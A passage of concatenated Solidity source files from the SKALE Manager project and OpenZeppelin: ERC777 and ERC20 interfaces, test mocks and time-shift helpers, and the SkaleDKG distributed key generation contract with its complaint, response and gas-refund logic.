(requireReceptionAck) { require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); } } /** * @dev Hook that is called before any token transfer. This includes * calls to {send}, {transfer}, {operatorSend}, minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - when `from` is zero, `tokenId` will be minted for `to`. * - when `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address operator, address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-only /* IDelegatableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the SkaleToken contract. */ interface IDelegatableToken { /** * @dev Returns and updates the amount of locked tokens of a given account `wallet`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of delegated tokens of a given account `wallet`. */ function getAndUpdateDelegatedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of slashed tokens of a given account `wallet`. */ function getAndUpdateSlashedAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777TokensSender standard as defined in the EIP. * * {IERC777} Token holders can be notified of operations performed on their * tokens by having a contract implement this interface (contract holders can be * their own implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Sender { /** * @dev Called by an {IERC777} token contract whenever a registered holder's * (`from`) tokens are about to be moved or destroyed. The type of operation * is conveyed by `to` being the zero address or not. * * This call occurs _before_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleTokenInternalTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../SkaleToken.sol"; contract SkaleTokenInternalTester is SkaleToken { constructor(address contractManagerAddress, address[] memory defOps) public SkaleToken(contractManagerAddress, defOps) // solhint-disable-next-line no-empty-blocks { } function getMsgData() external view returns (bytes memory) { return _msgData(); } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpersWithDebug.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "../delegation/TimeHelpers.sol"; contract TimeHelpersWithDebug is TimeHelpers, OwnableUpgradeSafe { struct TimeShift { uint pointInTime; uint shift; } TimeShift[] private _timeShift; function skipTime(uint sec) external onlyOwner { if (_timeShift.length > 0) { _timeShift.push(TimeShift({pointInTime: now, shift: _timeShift[_timeShift.length.sub(1)].shift.add(sec)})); } else { _timeShift.push(TimeShift({pointInTime: now, shift: sec})); } } function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } function timestampToMonth(uint timestamp) public view override returns (uint) { return super.timestampToMonth(timestamp.add(_getTimeShift(timestamp))); } function monthToTimestamp(uint month) public view override returns (uint) { uint shiftedTimestamp = super.monthToTimestamp(month); if (_timeShift.length > 0) { return _findTimeBeforeTimeShift(shiftedTimestamp); } else { return shiftedTimestamp; } } // private function _getTimeShift(uint timestamp) private view returns (uint) { if (_timeShift.length > 0) { if (timestamp < _timeShift[0].pointInTime) { return 0; } else if (timestamp >= _timeShift[_timeShift.length.sub(1)].pointInTime) { return _timeShift[_timeShift.length.sub(1)].shift; } else { uint left = 0; uint right = _timeShift.length.sub(1); while (left + 1 < right) { uint middle = left.add(right).div(2); if (timestamp < _timeShift[middle].pointInTime) { right = middle; } else { left = middle; } } return _timeShift[left].shift; } } else { return 0; } } function _findTimeBeforeTimeShift(uint shiftedTimestamp) private view returns (uint) { uint lastTimeShiftIndex = _timeShift.length.sub(1); if (_timeShift[lastTimeShiftIndex].pointInTime.add(_timeShift[lastTimeShiftIndex].shift) < shiftedTimestamp) { return shiftedTimestamp.sub(_timeShift[lastTimeShiftIndex].shift); } else { if (shiftedTimestamp <= _timeShift[0].pointInTime.add(_timeShift[0].shift)) { if (shiftedTimestamp < _timeShift[0].pointInTime) { return shiftedTimestamp; } else { return _timeShift[0].pointInTime; } } else { uint left = 0; uint right = lastTimeShiftIndex; while (left + 1 < right) { uint middle = left.add(right).div(2); if (_timeShift[middle].pointInTime.add(_timeShift[middle].shift) < shiftedTimestamp) { left = middle; } else { right = middle; } } if (shiftedTimestamp < _timeShift[right].pointInTime.add(_timeShift[left].shift)) { return shiftedTimestamp.sub(_timeShift[left].shift); } else { return _timeShift[right].pointInTime; } } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SafeMock.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; contract SafeMock is OwnableUpgradeSafe { constructor() public { OwnableUpgradeSafe.__Ownable_init(); multiSend(""); // this is needed to remove slither warning } function transferProxyAdminOwnership(OwnableUpgradeSafe proxyAdmin, address newOwner) external onlyOwner { proxyAdmin.transferOwnership(newOwner); } function destroy() external onlyOwner { selfdestruct(msg.sender); } /// @dev Sends multiple transactions and reverts all if one fails. /// @param transactions Encoded transactions. Each transaction is encoded as a packed bytes of /// operation as a uint8 with 0 for a call or 1 for a delegatecall (=> 1 byte), /// to as a address (=> 20 bytes), /// value as a uint256 (=> 32 bytes), /// data length as a uint256 (=> 32 bytes), /// data as bytes. /// see abi.encodePacked for more information on packed encoding function multiSend(bytes memory transactions) public { // solhint-disable-next-line no-inline-assembly assembly { let length := mload(transactions) let i := 0x20 // solhint-disable-next-line no-empty-blocks for { } lt(i, length) { } { // First byte of the data is the operation. // We shift by 248 bits (256 - 8 [operation byte]) it right // since mload will always load 32 bytes (a word). // This will also zero out unused data. let operation := shr(0xf8, mload(add(transactions, i))) // We offset the load address by 1 byte (operation byte) // We shift it right by 96 bits (256 - 160 [20 address bytes]) // to right-align the data and zero out unused data. let to := shr(0x60, mload(add(transactions, add(i, 0x01)))) // We offset the load address by 21 byte (operation byte + 20 address bytes) let value := mload(add(transactions, add(i, 0x15))) // We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes) let dataLength := mload(add(transactions, add(i, 0x35))) // We offset the load address by 85 byte // (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes) let data := add(transactions, add(i, 0x55)) let success := 0 switch operation case 0 { success := call(gas(), to, value, data, dataLength, 0, 0) } case 1 { success := delegatecall(gas(), to, data, dataLength, 0, 0) } if eq(success, 0) { revert(0, 0) } // Next entry starts at 85 byte + data length i := add(i, add(0x55, dataLength)) } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgAlright.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../ContractManager.sol"; import "../Wallets.sol"; import "../KeyStorage.sol"; /** * @title SkaleDkgAlright * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgAlright { event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); event SuccessfulDKG(bytes32 indexed schainId); function alright( bytes32 schainId, uint fromNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage lastSuccesfulDKG ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); (uint index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); uint numberOfParticipant = channels[schainId].n; require(numberOfParticipant == dkgProcess[schainId].numberOfBroadcasted, "Still Broadcasting phase"); require( complaints[schainId].fromNodeToComplaint != fromNodeIndex || (fromNodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0), "Node has already sent complaint" ); require(!dkgProcess[schainId].completed[index], "Node is already alright"); dkgProcess[schainId].completed[index] = true; dkgProcess[schainId].numberOfCompleted++; emit AllDataReceived(schainId, fromNodeIndex); if (dkgProcess[schainId].numberOfCompleted == numberOfParticipant) { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./delegation/Punisher.sol"; import "./SlashingTable.sol"; import "./Schains.sol"; import "./SchainsInternal.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./KeyStorage.sol"; import "./interfaces/ISkaleDKG.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./Wallets.sol"; import "./dkg/SkaleDkgAlright.sol"; import "./dkg/SkaleDkgBroadcast.sol"; import "./dkg/SkaleDkgComplaint.sol"; import "./dkg/SkaleDkgPreResponse.sol"; import "./dkg/SkaleDkgResponse.sol"; /** * @title SkaleDKG * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ contract SkaleDKG is Permissions, ISkaleDKG { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response} struct Channel { bool active; uint n; uint startedBlockTimestamp; uint startedBlock; } struct ProcessDKG { uint numberOfBroadcasted; uint numberOfCompleted; bool[] broadcasted; bool[] completed; } struct ComplaintData { uint nodeToComplaint; uint fromNodeToComplaint; uint startComplaintBlockTimestamp; bool isResponse; bytes32 keyShare; G2Operations.G2Point sumOfVerVec; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } struct Context { bool isDebt; uint delta; DkgFunction dkgFunction; } uint public constant COMPLAINT_TIMELIMIT = 1800; mapping(bytes32 => Channel) public channels; mapping(bytes32 => uint) public lastSuccesfulDKG; mapping(bytes32 => ProcessDKG) public dkgProcess; mapping(bytes32 => ComplaintData) public complaints; mapping(bytes32 => uint) public startAlrightTimestamp; mapping(bytes32 => mapping(uint => bytes32)) public hashedData; mapping(bytes32 => uint) private _badNodes; /** * @dev Emitted when a channel is opened. */ event ChannelOpened(bytes32 schainId); /** * @dev Emitted when a channel is closed. */ event ChannelClosed(bytes32 schainId); /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, KeyShare[] secretKeyContribution ); /** * @dev Emitted when all group data is received by node. */ event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); /** * @dev Emitted when DKG is successful. */ event SuccessfulDKG(bytes32 indexed schainId); /** * @dev Emitted when a complaint against a node is verified. */ event BadGuy(uint nodeIndex); /** * @dev Emitted when DKG failed. */ event FailedDKG(bytes32 indexed schainId); /** * @dev Emitted when a new node is rotated in. */ event NewGuy(uint nodeIndex); /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); modifier correctGroup(bytes32 schainId) { require(channels[schainId].active, "Group is not created"); _; } modifier correctGroupWithoutRevert(bytes32 schainId) { if (!channels[schainId].active) { emit ComplaintError("Group is not created"); } else { _; } } modifier correctNode(bytes32 schainId, uint nodeIndex) { (uint index, ) = checkAndReturnIndexInGroup(schainId, nodeIndex, true); _; } modifier correctNodeWithoutRevert(bytes32 schainId, uint nodeIndex) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); if (!check) { emit ComplaintError("Node is not in this group"); } else { _; } } modifier onlyNodeOwner(uint nodeIndex) { _checkMsgSenderIsNodeOwner(nodeIndex); _; } modifier refundGasBySchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); } modifier refundGasByValidatorToSchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); _refundGasByValidatorToSchain(schainId); } function alright(bytes32 schainId, uint fromNodeIndex) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(), dkgFunction: DkgFunction.Alright })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgAlright.alright( schainId, fromNodeIndex, contractManager, channels, dkgProcess, complaints, lastSuccesfulDKG ); } function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, KeyShare[] memory secretKeyContribution ) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(), dkgFunction: DkgFunction.Broadcast })) correctGroup(schainId) onlyNodeOwner(nodeIndex) { SkaleDkgBroadcast.broadcast( schainId, nodeIndex, verificationVector, secretKeyContribution, contractManager, channels, dkgProcess, hashedData ); } function complaintBadData(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(), dkgFunction: DkgFunction.ComplaintBadData })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaintBadData( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints ); } function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, KeyShare[] memory secretKeyContribution ) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(), dkgFunction: DkgFunction.PreResponse })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgPreResponse.preResponse( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, contractManager, complaints, hashedData ); } function complaint(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasByValidatorToSchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(), dkgFunction: DkgFunction.Complaint })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaint( schainId, fromNodeIndex, toNodeIndex, contractManager, channels, complaints, startAlrightTimestamp ); } function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare ) external refundGasByValidatorToSchain( schainId, Context({isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(), dkgFunction: DkgFunction.Response })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgResponse.response( schainId, fromNodeIndex, secretNumber, multipliedShare, contractManager, channels, complaints ); } /** * @dev Allows Schains and NodeRotation contracts to open a channel. * * Emits a {ChannelOpened} event. * * Requirements: * * - Channel is not already created. */ function openChannel(bytes32 schainId) external override allowTwo("Schains","NodeRotation") { _openChannel(schainId); } /** * @dev Allows SchainsInternal contract to delete a channel. * * Requirements: * * - Channel must exist. */ function deleteChannel(bytes32 schainId) external override allow("SchainsInternal") { delete channels[schainId]; delete dkgProcess[schainId]; delete complaints[schainId]; KeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainId); } function setStartAlrightTimestamp(bytes32 schainId) external allow("SkaleDKG") { startAlrightTimestamp[schainId] = now; } function setBadNode(bytes32 schainId, uint nodeIndex) external allow("SkaleDKG") { _badNodes[schainId] = nodeIndex; } function finalizeSlashing(bytes32 schainId, uint badNode) external allow("SkaleDKG") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); emit BadGuy(badNode); emit FailedDKG(schainId); schainsInternal.makeSchainNodesInvisible(schainId); if (schainsInternal.isAnyFreeNode(schainId)) { uint newNode = nodeRotation.rotateNode( badNode, schainId, false, true ); emit NewGuy(newNode); } else { _openChannel(schainId); schainsInternal.removeNodeFromSchain( badNode, schainId ); channels[schainId].active = false; } schainsInternal.makeSchainNodesVisible(schainId); Punisher(contractManager.getPunisher()).slash( Nodes(contractManager.getContract("Nodes")).getValidatorId(badNode), SlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG") ); } function getChannelStartedTime(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlockTimestamp; } function getChannelStartedBlock(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlock; } function getNumberOfBroadcasted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfBroadcasted; } function getNumberOfCompleted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfCompleted; } function getTimeOfLastSuccessfulDKG(bytes32 schainId) external view returns (uint) { return lastSuccesfulDKG[schainId]; } function getComplaintData(bytes32 schainId) external view returns (uint, uint) { return (complaints[schainId].fromNodeToComplaint, complaints[schainId].nodeToComplaint); } function getComplaintStartedTime(bytes32 schainId) external view returns (uint) { return complaints[schainId].startComplaintBlockTimestamp; } function getAlrightStartedTime(bytes32 schainId) external view returns (uint) { return startAlrightTimestamp[schainId]; } /** * @dev Checks whether channel is opened. */ function isChannelOpened(bytes32 schainId) external override view returns (bool) { return channels[schainId].active; } function isLastDKGSuccessful(bytes32 schainId) external override view returns (bool) { return channels[schainId].startedBlockTimestamp <= lastSuccesfulDKG[schainId]; } /** * @dev Checks whether broadcast is possible. */ function isBroadcastPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && !dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether complaint is possible. */ function isComplaintPossible( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex ) external view returns (bool) { (uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainId, fromNodeIndex, false); (uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainId, toNodeIndex, false); if (!checkFrom || !checkTo) return false; bool complaintSending = ( complaints[schainId].nodeToComplaint == uint(-1) && dkgProcess[schainId].broadcasted[indexTo] && !dkgProcess[schainId].completed[indexFrom] ) || ( dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].startComplaintBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp && complaints[schainId].nodeToComplaint == toNodeIndex ) || ( !dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].nodeToComplaint == uint(-1) && channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp ) || ( complaints[schainId].nodeToComplaint == uint(-1) && isEveryoneBroadcasted(schainId) && dkgProcess[schainId].completed[indexFrom] && !dkgProcess[schainId].completed[indexTo] && startAlrightTimestamp[schainId].add(_getComplaintTimelimit()) <= block.timestamp ); return channels[schainId].active && dkgProcess[schainId].broadcasted[indexFrom] && _isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } /** * @dev Checks whether sending Alright response is possible. */ function isAlrightPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted && (complaints[schainId].fromNodeToComplaint != nodeIndex || (nodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0)) && !dkgProcess[schainId].completed[index]; } /** * @dev Checks whether sending a pre-response is possible. */ function isPreResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && !complaints[schainId].isResponse; } /** * @dev Checks whether sending a response is possible. */ function isResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && complaints[schainId].isResponse; } function isNodeBroadcasted(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether all data has been received by node. */ function isAllDataReceived(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].completed[index]; } function hashData( KeyShare[] memory secretKeyContribution, G2Operations.G2Point[] memory verificationVector ) external pure returns (bytes32) { bytes memory data; for (uint i = 0; i < secretKeyContribution.length; i++) { data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share); } for (uint i = 0; i < verificationVector.length; i++) { data = abi.encodePacked( data, verificationVector[i].x.a, verificationVector[i].x.b, verificationVector[i].y.a, verificationVector[i].y.b ); } return keccak256(data); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function checkAndReturnIndexInGroup( bytes32 schainId, uint nodeIndex, bool revertCheck ) public view returns (uint, bool) { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, nodeIndex); if (index >= channels[schainId].n && revertCheck) { revert("Node is not in this group"); } return (index, index < channels[schainId].n); } function _refundGasBySchain(bytes32 schainId, uint gasTotal, Context memory context) private { Wallets wallets = Wallets(payable(contractManager.getContract("Wallets"))); bool isLastNode = channels[schainId].n == dkgProcess[schainId].numberOfCompleted; if (context.dkgFunction == DkgFunction.Alright && isLastNode) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(74800), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 2e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(640000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 1e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(270000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Response){ wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).sub(context.delta), context.isDebt ); } else { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta), context.isDebt ); } } function _refundGasByValidatorToSchain(bytes32 schainId) private { uint validatorId = Nodes(contractManager.getContract("Nodes")) .getValidatorId(_badNodes[schainId]); Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidatorToSchain(validatorId, schainId); delete _badNodes[schainId]; } function _openChannel(bytes32 schainId) private { SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); uint len = schainsInternal.getNumberOfNodesInGroup(schainId); channels[schainId].active = true; channels[schainId].n = len; delete dkgProcess[schainId].completed; delete dkgProcess[schainId].broadcasted; dkgProcess[schainId].broadcasted = new bool[](len); dkgProcess[schainId].completed = new bool[](len); complaints[schainId].fromNodeToComplaint = uint(-1); complaints[schainId].nodeToComplaint = uint(-1); delete complaints[schainId].startComplaintBlockTimestamp; delete dkgProcess[schainId].numberOfBroadcasted; delete dkgProcess[schainId].numberOfCompleted; channels[schainId].startedBlockTimestamp = now; channels[schainId].startedBlock = block.number; KeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainId); emit ChannelOpened(schainId); } function isEveryoneBroadcasted(bytes32 schainId) public view returns (bool) { return channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted; } function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) { return Nodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex); } function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view { require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message 